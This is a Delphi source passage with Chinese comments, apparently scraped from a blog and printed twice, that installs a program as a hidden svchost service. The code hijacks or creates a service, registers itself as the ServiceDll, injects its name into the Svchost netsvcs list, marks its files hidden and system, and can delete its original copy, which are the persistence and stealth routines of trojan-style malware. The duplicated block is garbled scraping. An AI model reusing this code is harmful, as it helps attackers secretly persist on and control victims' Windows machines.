procedure
Install(
var
DelMe:Boolean );
stdcall
;
var
FileName: array [ 0 .. 255 ] of Char;
reg:TRegistry;
hSCM,hSCS: Cardinal ;
ss : TServiceStatus;
Args : PChar;
s,s1: string ;
begin
FillChar(FileName,SizeOf(FileName), 0 );
GetModuleFileName(HInstance, FileName, SizeOf(FileName));
s : = Config.DIR + config.FileName;
reg : = TRegistry.Create;
reg.RootKey : = HKEY_LOCAL_MACHINE ;
hSCM : = OpenSCManager( nil ,Nil,SC_MANAGER_ALL_ACCESS);
if hSCM = 0 then Exit ;
case Config.StartupMode of
RunAsServiceD : // ' s ' :现存服务启动
begin
hSCS : = OpenService(hSCM ,PChar( string (config.SrvName)), SERVICE_ALL_ACCESS);
if hSCS <> 0 then
begin
ControlService(hSCS ,SERVICE_CONTROL_STOP,ss);
ChangeServiceConfig(hSCS,
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
nil , nil , nil , nil , nil , nil , nil );
if lstrcmpi(FileName,PChar(s)) <> 0 then
begin
Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
CopyFile(FileName, PChar(s),False) ; // copy到指定文件夹
end ;
reg.OpenKey( ' SYSTEM\CurrentControlSet\Services\ ' + config.SrvName + ' \ ' ,True) ;
SetPrivilege( ' SeBackupPrivilege ' );
RegSaveKey(reg.CurrentKey ,PChar(s + ' .uns ' ), nil );
SetPrivilege( ' SeBackupPrivilege ' ,False );
reg.CloseKey;
reg.OpenKey( ' SYSTEM\CurrentControlSet\Services\ ' + config.SrvName +
' \Parameters\ ' ,True) ;
reg.WriteData( ' ServiceDll ' ,s[ 1 ],Length(s),REG_EXPAND_SZ );
StartService(hSCS , 0 , Args);
CloseServiceHandle(hSCS);
end ;
end ;
RunAsService : // 新建服务启动
begin
InstallService(Config.SrvName,
Config.DisplayName,
' %SystemRoot%\System32\svchost.exe -k netsvcs ' ,
Config.Description); // 安装服务
if lstrcmpi(FileName,PChar(s)) <> 0 then
begin
Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
CopyFile(FileName, PChar(s),False) ; // copy到指定文件夹
end ;
< span id = "more - 169 " ></ span >
reg.OpenKey( ' SYSTEM\CurrentControlSet\Services\ ' + config.SrvName +
' \Parameters\ ' ,True) ;
reg.WriteData( ' ServiceDll ' ,s[ 1 ],Length(s),REG_EXPAND_SZ );
reg.CloseKey;
reg.OpenKey( ' SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost ' ,False );
SetPrivilege( ' SeBackupPrivilege ' );
RegSaveKey(reg.CurrentKey ,PChar(s + ' .uns ' ), nil );
SetPrivilege( ' SeBackupPrivilege ' ,False );
s1 : = reg.ReadString( ' netsvcs ' );
s1 : = config.SrvName + # 0 + s1;
reg.WriteData( ' netsvcs ' ,s1[ 1 ],Length(s1),REG_MULTI_SZ );
hSCS : = OpenService(hSCM ,PChar( string (config.SrvName)), SERVICE_ALL_ACCESS);
if hSCS <> 0 then
begin
StartService(hSCS , 0 , Args);
CloseServiceHandle(hSCS);
end ;
end ;
end ;
CloseServiceHandle(hSCM);
reg.CloseKey ;
reg.Free;
Setfileattributes(PChar(s),FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN);
Setfileattributes(PChar(s + ' .uns ' ),FILE_ATTRIBUTE_SYSTEM +
FILE_ATTRIBUTE_HIDDEN);
DelMe : = Config.RMwIns;
end ;
var
FileName: array [ 0 .. 255 ] of Char;
reg:TRegistry;
hSCM,hSCS: Cardinal ;
ss : TServiceStatus;
Args : PChar;
s,s1: string ;
begin
FillChar(FileName,SizeOf(FileName), 0 );
GetModuleFileName(HInstance, FileName, SizeOf(FileName));
s : = Config.DIR + config.FileName;
reg : = TRegistry.Create;
reg.RootKey : = HKEY_LOCAL_MACHINE ;
hSCM : = OpenSCManager( nil ,Nil,SC_MANAGER_ALL_ACCESS);
if hSCM = 0 then Exit ;
case Config.StartupMode of
RunAsServiceD : // ' s ' :现存服务启动
begin
hSCS : = OpenService(hSCM ,PChar( string (config.SrvName)), SERVICE_ALL_ACCESS);
if hSCS <> 0 then
begin
ControlService(hSCS ,SERVICE_CONTROL_STOP,ss);
ChangeServiceConfig(hSCS,
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
nil , nil , nil , nil , nil , nil , nil );
if lstrcmpi(FileName,PChar(s)) <> 0 then
begin
Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
CopyFile(FileName, PChar(s),False) ; // copy到指定文件夹
end ;
reg.OpenKey( ' SYSTEM\CurrentControlSet\Services\ ' + config.SrvName + ' \ ' ,True) ;
SetPrivilege( ' SeBackupPrivilege ' );
RegSaveKey(reg.CurrentKey ,PChar(s + ' .uns ' ), nil );
SetPrivilege( ' SeBackupPrivilege ' ,False );
reg.CloseKey;
reg.OpenKey( ' SYSTEM\CurrentControlSet\Services\ ' + config.SrvName +
' \Parameters\ ' ,True) ;
reg.WriteData( ' ServiceDll ' ,s[ 1 ],Length(s),REG_EXPAND_SZ );
StartService(hSCS , 0 , Args);
CloseServiceHandle(hSCS);
end ;
end ;
RunAsService : // 新建服务启动
begin
InstallService(Config.SrvName,
Config.DisplayName,
' %SystemRoot%\System32\svchost.exe -k netsvcs ' ,
Config.Description); // 安装服务
if lstrcmpi(FileName,PChar(s)) <> 0 then
begin
Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
CopyFile(FileName, PChar(s),False) ; // copy到指定文件夹
end ;
< span id = "more - 169 " ></ span >
reg.OpenKey( ' SYSTEM\CurrentControlSet\Services\ ' + config.SrvName +
' \Parameters\ ' ,True) ;
reg.WriteData( ' ServiceDll ' ,s[ 1 ],Length(s),REG_EXPAND_SZ );
reg.CloseKey;
reg.OpenKey( ' SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost ' ,False );
SetPrivilege( ' SeBackupPrivilege ' );
RegSaveKey(reg.CurrentKey ,PChar(s + ' .uns ' ), nil );
SetPrivilege( ' SeBackupPrivilege ' ,False );
s1 : = reg.ReadString( ' netsvcs ' );
s1 : = config.SrvName + # 0 + s1;
reg.WriteData( ' netsvcs ' ,s1[ 1 ],Length(s1),REG_MULTI_SZ );
hSCS : = OpenService(hSCM ,PChar( string (config.SrvName)), SERVICE_ALL_ACCESS);
if hSCS <> 0 then
begin
StartService(hSCS , 0 , Args);
CloseServiceHandle(hSCS);
end ;
end ;
end ;
CloseServiceHandle(hSCM);
reg.CloseKey ;
reg.Free;
Setfileattributes(PChar(s),FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_HIDDEN);
Setfileattributes(PChar(s + ' .uns ' ),FILE_ATTRIBUTE_SYSTEM +
FILE_ATTRIBUTE_HIDDEN);
DelMe : = Config.RMwIns;
end ;